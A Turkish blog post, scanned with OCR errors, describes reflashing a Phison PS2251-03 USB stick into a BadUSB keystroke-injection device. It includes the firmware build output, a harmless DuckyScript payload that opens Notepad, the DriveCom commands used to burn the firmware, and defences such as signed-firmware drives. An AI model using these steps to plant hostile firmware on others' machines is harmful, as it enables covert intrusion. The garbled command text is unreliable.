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Her yil, Agustos ayinda, ABD'nin Las Vegas kentinde diizenlenen geleneksel
Black Hat Bilgi Glvenligi Konferansi‘nin sonuncusunda, Karsten NOHL ve Jakob
LELL adindaki iki arastirmaci, BadUSB adinda dikkat cekici bir sunuma imza
atti.

Bu sunumda kisaca, USB’'de yer alan mikrodenetleyici tarafindan kullanilan
donanim yaziliminin (firmware) yamalanarak (patch) beklenenden farkli bir
sekilde calismasi (hedef sistem lzerinde komut calistirma gibi) saglanmis.
Bunun icin arastirmacilar oncelikle bu mikrodenetleyici tarafindan kullanilan
donanim yazilimini temin etmisler ardindan Wireshark yardimi ile donanim
yazilimi guncellemesi esnasinda kullanilan komutlari tespit etmisler. Daha
sonra 2 aydan kisa bir sure icinde donanim yazilimini tersine miuhendislik ile
analiz ederek, orjinal donanim yaziliminda yer alan ve kullanilmayan alanlara
kendi komutlarini yukleyerek (notepad ac¢, sunu yaz, x sitesinden su zararli
yazilimi indir ve calistir gibi) yeni bir donanim yazilimi olusturup bunu USB
bellege ylikleyip, islemi tamamlamislar. Bundan sonra hedef sisteme takilan
USB bellek, veri depolamanin haricinde kullanicinin donanim yazilimi ile
bellege ylklemis oldugu komutlari calistirarak sistem ile etkilesime

gecebilmis.

Peki bunun daha o6nce Uzerine yazi yazdigim ve yine hedef sistem lizerinde USB
baglanti noktasindan takildigi taktirde komut calistirmaya imkan taniyan
Teensy‘den veya USB Rubber Ducky‘den ne farki var ? Pratikte pek bir farki
bulunmuyor. BadUSB ile gerceklestirilen sosyal mihendislik testlerinde
digerlerine kiyasla hem sistemsel hem de gérinti itibariyle yakalanma/tespit
edilme olasiligi gOrece biraz daha disuk olabiliyor. Maliyet acgisindan da
bakacak olursak, BadUSB’'nin 20$’'lik Teensy’den, 40%$'1l1k Rubber Ducky’den daha

ucuza mal edilebilecegini goérebilirsiniz.

BadUSB ile ilgili calastirma yapan arastirmacilarin web sitesini ziyaret
edecek olursaniz bu calismaya ait POC (proof-of-concept) kodlarini
yayinlamadiklarini gorebilirsiniz. Benim gibi ben de bir BadUSB olusturmak
istiyorum diyenlerin uzulmesine gerek yok cunku Adam Caudill ve Brandon
Wilson adindaki iki glivenlik arastirmacisi da benzer bir calisma yaparak bunu
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sundular ve arastirma esnasinda gelistirdikleri araclarini da kaynak kodlari
ile birlikte GitHub‘a yuklediler.

Sunum dosyasina ve kodlara baktiktan sonra ben de bir BadUSB olusturmak icin
ise koyuldum. Arastirmacilarin kullandigi Phison marka mikrodenetleyiciye
sahip Patriot marka Xpress model USB bellek Tirkiye’de olmadigi icin
Amazon‘dan siparis ettim.

Sunum dosyasina bakacak olursaniz arastirmacilarin Phison’un PS2251-03 modeli
uzerinde calistiklarini gorebilirsiniz dolayisiyla gelistirmis olduklari
aracin calisabilmesi igin kullanilacak olan USB bellegin bu model

mikrodenetciye sahip olmasi gerekmektedir.

USB bellek geldikten sonra Phison’un modelini GetInfo araci (veya Chip Easy
aracini da kullanabilirsiniz) ile kontrol ettigimde modelin farkli olmasi
nedeniyle hisrana ugradim ve bu defa Phison marka PS2251-03 model USB bellek

avina ¢iktim.
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Benim gibi dinyada bircok kullanicinin ava ¢ikmasi ve arastirmacilara geri
bildirimde bulunmalari sayesinde arastirmacilar, BadUSB olma potansiyeline
sahip USB bellekleri bir listede toplamaya karar vermisler. Bu listeyi ara
ara kontrol ederken, tesadiifen Teknosa’'da gezerken go6rdigim Sandisk Ultra 16
GB USB bellegi (SDCZ48-016G-U46) satin almaya (24 TL) ve modeline bakmaya
karar verdim. Buylik bir hevesle paketini acip, GetInfo araci ile baktigimda
Phison’un modelinin desteklenen model yani PS2251-03 oldugunu gdérdikten sonra
GitHub sayfasinda yer alan BadUSB yaratma adimlarina gecgtim.
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Adimlardan birinde yaptigim dikkatsizlikten dolayi aldigim bu diski cope
atmak zorunda kaldim :) Ardindan bu defa biraz daha temkinli davranarak iki
tane daha Sandisk Ultra aldim ve yine bir dikkatsizlik sonucunda disklerinden
birini daha ¢ope atmak zorunda kaldim. Allah’in hakki Uctur diyerek BadUSB

olusturma adimlarini dikkatlice devam etmeye karar verdim. Donanim yazilimini



derledikten sonra sira Ruby Ducky formatinda bir komut kimesi olusturmaya
geldiginde, Duckencoder araci ile, calistir (run) -> notepad -> Mert SARICA
yazan basit bir komut kimesi olusturdum. (ReadMe dosyasinda yer alan Running
Demo 1 (HID Payload) basligi altinda yazilanlari yaptim.)

= CAWindows\system32\cmd.exe

icrosoft Windows [Uersion 6.3.76801
(c>» 2013 Microsoft Corporation. All rights reserved.

sUserssMertcd C:sBadUSBuPsychson—mastersfirmuware

:nBadUSBvwPsychson—mastersf irmware >build. bat
Building main.c...
Building timers.c...
Building ush.c...
Building control.c...
ontrol.c:?: warning 116: right shifting more than size of obhject changed to zewn
D
ontrol.c:15: warning 116: right shifting more than size of object changed to =ze
iadi]
Building scsi.c...
csi.c:188: warning 85: in function HandleCDB unreferenced local variable

1 Done . q
B3 bin - &
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#& OneDrive || fw.bin BIM File 201 KB
- aad mMain.asm 24.10.2014 21:45 Assembler Scurce 107 KB
3, Homegroup B main.lst 5 MASM Listing 460 KB
- | main.rel 24,10.2014 21:45 REL File 51 KB
= This PC | main.rst 24,10.2014 21:45 RST File 460 KB
w Desktop | main.sym 24.10.2014 21:45 SYM File 141 KB
‘| Docurnents v || output.bin 24.10.2014 21:45 BIM File 13 KB |
32 itermns 1 itemn selected 201 KB
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""" key.txt - Notepad =
File Edit Format View Help
DELAY @88

GUT r

DELAY 588

STRING notepad

DELAY 588

ENTER

DELAY 758

STRING Mert SARICA
ENTER

=N CAWindowsh\system32\cmd.exe

sBadUSBs~DuckEncoder_2 .6 .3%DuckEncoder_2_6_3>java —jar encoder.jar —1i key.txt -
inject.hin
akq Duck Encoder 2.6.3

oading Kevhoard File
oading Language File
pading DuckyScript

:s»BadUSB~DuckEncoder_2 .6 .3~DuckEncoder_2_6_3>_

Sonunda asagidaki tim adimlari basariyla gectikten sonra BadUSB olusturmayi
basardim :) Sandisk’in Ultra modelinde ne yazik ki donanim yazilimi bir defa
guncelleme sansiniz oluyor dolayisiyla simdilik tek atislik bir hakkiniz var
fakat bu konuda calismalar devam ediyor dolayisiyla elinizin altinda sosyal
mihendislik testlerinde kullanmak Uzere bir tane bu marka model USB
bulundurmaniz faydali olabilir.


https://github.com/adamcaudill/Psychson/issues/14

oo CAWindows\system32\cmd.exe

s~ BadUSB“Pzychson—masterstools *DriveCom.exe Adrive=F raction=SetBootMode
Action specified: SetBootMode

:»BadUSB~Psychson—masterstools *DriveCom.exe Adrive=F ~action=SendExecutahle ~hu
rner=BNA3U1A4H_BIN
Action specified: SendExecutable

~BadUSB“Pzsychzson—masterstools *DriveCom.exe Adrive=F Aaction=DumpFirmuware -firm
pare=dump.hin
Action specified: DumpFirmuare

:»BadUSBsPsychson—masterstools *DriveCom.exe Adrive=F ~saction=GetInfo
Aiction specified: GetInfo

athering information...
Reported chip type: 2382
Reported chip ID: 45-4C-A8-922-76-5%
Reported firmware version: 1.601.18

ode: Burner

:~BadUSB“Pzychzson—master~tools *>EmbedPayload.exe ingject.bin fw_bin
File updated.

:~BadUSB~Pzychzson—master~tools *DriveCom.exe Adrive=F raction=SendFirmuware ~burn
ppr=BMAIU184M_BIN Afirmuare=fuw_bin
Aiction specified: SendFirmware
athering information...
Reported chip type: 2382
Reported chip ID: 45-4C-A8-922-76-5%
Reported firmware version: 1.601.18
ode: Burner
Rebooting. ..
Sending firmuare...
Executing...

ode: Firmware

Peki kurum olarak BadUSB’'ye karsi hangi onlemleri alabiliriz diye soracak
olursaniz, kurum genelinde USB kullanimini yasaklayabilirsiniz. Bu mumkin
degil ise de sadece IronKey gibi donanim yazilimi gincellemesine karsi imza
kontroll yapan Urunleri kurum genelinde kullanmayi tercih edebilirsiniz.

Bir sonraki yazida goriusmek dilegiyle herkese glivenli glinler dilerim.

Not: BadUSB'’ye donustirilmis USB ile ilgili hazirlamis oldugum videoyu

asagidan izleyebilirsiniz.


http://www.ironkey.com/en-US/solutions/protect-against-badusb.html

